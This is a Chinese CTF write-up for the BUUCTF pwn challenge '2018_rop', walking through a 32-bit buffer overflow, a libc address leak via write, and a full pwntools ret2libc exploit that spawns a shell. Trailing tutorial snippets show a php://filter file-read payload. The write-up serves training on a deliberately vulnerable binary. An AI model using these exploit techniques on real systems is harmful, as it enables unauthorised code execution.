[BUUCTF]PWN——铁人三项(第五赛区)_2018_rop

作者:神秘网友 发布时间:2020-10-07 16:01:47

[BUUCTF]PWN——铁人三项(第五赛区)_2018_rop

[BUUCTF]PWN——铁人三项(第五赛区)_2018_rop

铁人三项(第五赛区)_2018_rop[32位libc泄露]

题目附件

解题步骤:
例行检查,32位,开启了NX保护
[BUUCTF]PWN——铁人三项(第五赛区)_2018_rop
试运行一下程序,一开始让我们输入,然后直接输出“Hellow,world”
[BUUCTF]PWN——铁人三项(第五赛区)_2018_rop
32位ida载入,首先习惯性的shift+f12查看一下程序里的字符串,没有发现现成的system(‘/bin/sh’)
从main函数开始看程序
[BUUCTF]PWN——铁人三项(第五赛区)_2018_rop
第4行的函数是我们的输入点,read的buf长度为0x100,而我们参数的大小只有0x88,可以溢出0x78个长度,足够我们构造rop攻击
[BUUCTF]PWN——铁人三项(第五赛区)_2018_rop
没有其他信息了,经典的泄露libc类型的题目

  1. 利用write函数来泄露程序的libc版本
  2. 知道libc版本后去计算程序里的system函数和字符串“/bin/sh”的地址
  3. 覆盖返回地址为system(‘/bin/sh’),获取shell
  1. 泄露libc版本
    这边提一下write函数的原型
ssize_t write(int fd,const void*buf,size_t count);

参数说明:
fd:是文件描述符(write所对应的是写,即就是1)
buf:通常是一个字符串,需要写入的字符串
count:是每次写入的字节数

payload='a'*(0x88+4)+p32(write_plt)+p32(main)+p32(0)+p32(write_got)+p32(4)
r.sendline(payload)
write_addr=u32(r.recv(4))
libc=LibcSearcher('write',write_addr)

这边解释一下第一个payload
首先填充‘a’*(0x88+4)造成溢出,覆盖到返回地址,返回地址填上write函数的plt地址来调用write函数,之后跟上main函数地址(我们要将程序程序重新执行一遍,再次利用输入点来进构造rop)
p32(0)+p32(write_addr)+p32(4)是在设置write函数的参数,对应函数原型看一下,32位程序是4位,所以这边写的4,对应的64位程序是8位

  1. 算出程序的偏移量,计算system和bin/sh的地址
offset=write_addr-libc.dump('write')     #计算偏移量
                                #偏移量=程序里的函数地址-libc里的函数地址
system_addr=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')
  1. 构造rop获取shell
payload='a'*(0x88+4)+p32(system_addr)+p32(0)+p32(bin_sh)

完整EXP:

from pwn import *
from LibcSearcher import *

r=remote('node3.buuoj.cn',27043)
elf=ELF('./2018_rop')

write_plt=elf.plt['write']
write_got=elf.got['write']
main=elf.sym['main']

payload='a'*(0x88+4)+p32(write_plt)+p32(main)+p32(0)+p32(write_got)+p32(4)
r.sendline(payload)
write_addr=u32(r.recv(4))


libc=LibcSearcher('write',write_addr)
offset=write_addr-libc.dump('write')

system_addr=offset+libc.dump('system')
bin_sh=offset+libc.dump('str_bin_sh')

payload='a'*(0x88+4)+p32(system_addr)+p32(0)+p32(bin_sh)

r.sendline(payload)
r.interactive()

[BUUCTF]PWN——铁人三项(第五赛区)_2018_rop
匹配到了多个libc版本,选第一个
泄露libc用到了延迟绑定技术,具体的看这个视频介绍

[BUUCTF]PWN——铁人三项(第五赛区)_2018_rop相关教程

  1. buuctf 逆向 findit

    buuctf 逆向 findit 第一次做这种题,记录一下 文件下载后发现是apk逆向,用jeb打开 发现字符串,字符找到规律,比如第五个数据是“{”的asscii,最后一个是“}”的ascii,所以大胆猜想一下,这串数据和flag有关,用脚本跑出字符串,贴上脚本。 a=[ 0x70,0x76,

  2. BUUCTF:[ACTF2020 新生赛]Include

    BUUCTF:[ACTF2020 新生赛]Include 题目地址:https://buuoj.cn/challenges#[ACTF2020%20%E6%96%B0%E7%94%9F%E8%B5%9B]Include 文件包含 直接伪协议读取 flag.php ?file=php://filter/convert.base64-encode/resource=flag.php PS C:\Users\Administrator php

  3. BUUCTF:[BJDCTF2020]纳尼

    BUUCTF:[BJDCTF2020]纳尼 题目地址:https://buuoj.cn/challenges#[BJDCTF2020]%E7%BA%B3%E5%B0%BC 加个 Gif 的头 47 49 46 38 保存即可正常显示 用 stegsolve 的 Frame Browser 或者直接 PS 打开看图层也行 PS C:\Users\Administrator php -r var_dump(base

  4. 小胖手

    小胖手 小PWN手的间歇性记录 ret2text ret2text 首先checksec一下 32位 只开启了栈可执行保护 ida打开 查找/bin/sh binsh = 0x804863A 距离ebp的距离需要利用Ubuntu中gdb工具 gdb ./ret2text 因为存储读入的变量和到栈底的距离未知所以断点下在_gets b *0x804

  5. [BUUCFT]PWN——pwn2_sctf_2016

    [BUUCFT]PWN——pwn2_sctf_2016 pwn2_sctf_2016[整数溢出+泄露libc] 题目附件 步骤: 例行检查,32位,开启了nx保护 试运行一下程序,看看大概的执行情况 32位ida载入,shift+f12检索程序里的字符串,没有看到现成的system和‘/bin/sh’,加上开启了NX保护,估

  6. BUUCTF:[GXYCTF2019]佛系青年

    BUUCTF:[GXYCTF2019]佛系青年 题目地址:https://buuoj.cn/challenges#[GXYCTF2019]%E4%BD%9B%E7%B3%BB%E9%9D%92%E5%B9%B4 zip伪加密 fo.txt _ooOoo_ o8888888o 88 . 88 (| -_- |) O\ = /O ____/`---'\____ . ' \\| |// `. / \\||| : |||// \ / _||||| -:- |

  7. BUUCTF:[BJDCTF 2nd]Real_EasyBaBa

    BUUCTF:[BJDCTF 2nd]Real_EasyBaBa 题目地址:https://buuoj.cn/challenges#[BJDCTF%202nd]Real_EasyBaBa 题目如下 binwalk 分析 010 Editor 打开 这里已经发现flag了,不过这张图片有隐藏 zip 的痕迹,接着看下吧 修改一下这里的 zip 头 50 4B 03 04 14 00

  8. BUUCTF:[BJDCTF2020]一叶障目

    BUUCTF:[BJDCTF2020]一叶障目 题目地址:https://buuoj.cn/challenges#[BJDCTF2020]%E4%B8%80%E5%8F%B6%E9%9A%9C%E7%9B%AE 题目图片长这样 使用 010 Editor 打开出现 CRC不匹配 报错 图片能正常打开,但是出现 CRC匹配错误 一般是修改了宽高 这里也不知道原